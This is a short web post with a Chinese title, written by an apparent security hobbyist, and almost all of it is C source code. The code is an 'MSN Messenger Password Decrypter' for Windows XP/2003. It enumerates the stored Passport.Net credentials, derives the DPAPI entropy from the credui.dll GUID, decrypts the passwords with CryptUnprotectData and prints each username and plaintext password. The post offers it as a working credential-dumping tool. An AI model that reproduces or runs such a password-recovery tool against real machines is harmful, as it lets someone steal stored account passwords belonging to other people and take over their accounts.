VC编程获取MSN口令的代码

MSN Messenger uses Windows Credential UI [credui.dll] on WinXP/2003. Password-Storage mechanism differs in these OSes so, the code posted by tombkeeper [http://xfocus.net/articles/200408/726.html] doesn't seem to work any more on my OS atleast. Also, a 'entropy' value has been thrown, which is based on credui.dll GUID. So, here is the code that fullfils the same purpose - but surely works on my OS [WinXP SP2] :)

/--- Start-Code --/

/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
*      - Gregory R. Panakkal
*        http://www.crapware.tk/
*        http://www.infogreg.com/
*/

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")

//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK //LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

void showBanner()
{
    printf("MSN Messenger Password Decrypter forWindows XP/2003\n");
    printf("   - Gregory R. Panakkal,http://www.infogreg.com \n\n");
}

int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

    //used for filling up blobEntropy
    char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
    short int EntropyData[37];
    short int tmp;

    HMODULE hDLL;
    DWORD Count, i;

    showBanner();

    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
    if( hDLL = LoadLibrary("advapi32.dll") )
    {
        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

        if( pfCredEnumerateA == NULL||
            pfCredReadA == NULL ||
            pfCredFree == NULL )
        {
            printf("error!\n");
            return -1;
        }
    }
   

    //Get an array of 'credential', satisfying the filter
    pfCredEnumerateA("Passport.Net\\*", 0, &Count,&CredentialCollection);

    if( Count ) //usually this value is only 1
    {

        //Calculate Entropy Data
        for(i=0; i<37; i++) //strlen(szEntropyStringSeed) = 37
        {
            tmp = (short int)szEntropyStringSeed[i];
            tmp <<= 2;
            EntropyData[i] = tmp;
        }

        for(i=0; i<Count; i++)
        {
            blobEntropy.pbData = (BYTE *)&EntropyData;
            blobEntropy.cbData = 74; //sizeof(EntropyData)

            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;

            CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
            
            printf("Username : %s\n", CredentialCollection[i]->UserName);
            printf("Password : %ls\n\n", blobPlainText.pbData);
        }
    }

    pfCredFree(CredentialCollection);
}

/--- End-Code --/

URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html